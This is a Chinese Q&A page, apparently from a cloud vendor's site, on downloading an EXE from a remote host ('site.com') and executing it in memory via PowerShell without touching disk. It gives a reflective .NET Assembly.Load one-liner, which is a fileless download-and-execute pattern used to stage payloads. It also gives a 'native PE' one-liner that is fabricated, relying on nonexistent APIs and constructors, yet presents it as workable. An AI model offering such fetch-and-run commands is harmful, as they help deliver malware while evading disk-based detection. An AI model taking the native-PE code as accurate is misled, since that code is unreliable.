You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Windows下无磁盘存储单行命令下载执行文件的可行方案问询

无磁盘执行下载的EXE文件方案

直接用iwr site.com/file.exe | iex是行不通的——iex(即Invoke-Expression)是用来执行PowerShell脚本或文本命令的,根本无法处理二进制格式的EXE文件。管道传输的二进制字节会被当作乱码文本解析,执行必然报错。

给你两个可行的单行命令方案,全程不会将文件写入磁盘:

针对.NET类型的EXE文件

这类EXE本质是.NET程序集,直接通过反射加载内存中的字节数组即可执行:

([System.Reflection.Assembly]::Load((Invoke-WebRequest -Uri "site.com/file.exe" -UseBasicParsing).Content)).EntryPoint.Invoke($null, @([string[]]@()))

如果需要传递执行参数,把命令里的@([string[]]@())替换成@([string[]]@("参数1", "参数2"))即可。

针对原生PE格式的EXE文件(非.NET)

这种情况需要调用Windows API在内存中分配空间、写入数据后执行,单行命令如下:

$code = (Invoke-WebRequest -Uri "site.com/file.exe" -UseBasicParsing).Content; $alloc = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($code.Length); [System.Runtime.InteropServices.Marshal]::Copy($code, 0, $alloc, $code.Length); $handle = [System.Diagnostics.Process]::GetCurrentProcess().Handle; [IntPtr]$oldProtect = 0; [System.Runtime.InteropServices.NativeMethods]::VirtualProtect($alloc, $code.Length, 0x40, [ref]$oldProtect); $thread = [System.Diagnostics.ProcessThread]::new($alloc, $alloc + $code.Length, 0); $thread.Start()

注意这个方法依赖部分未公开的API调用,部分受限制的系统环境可能无法正常运行。

内容的提问来源于stack exchange,提问作者michal

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.10 23:50:28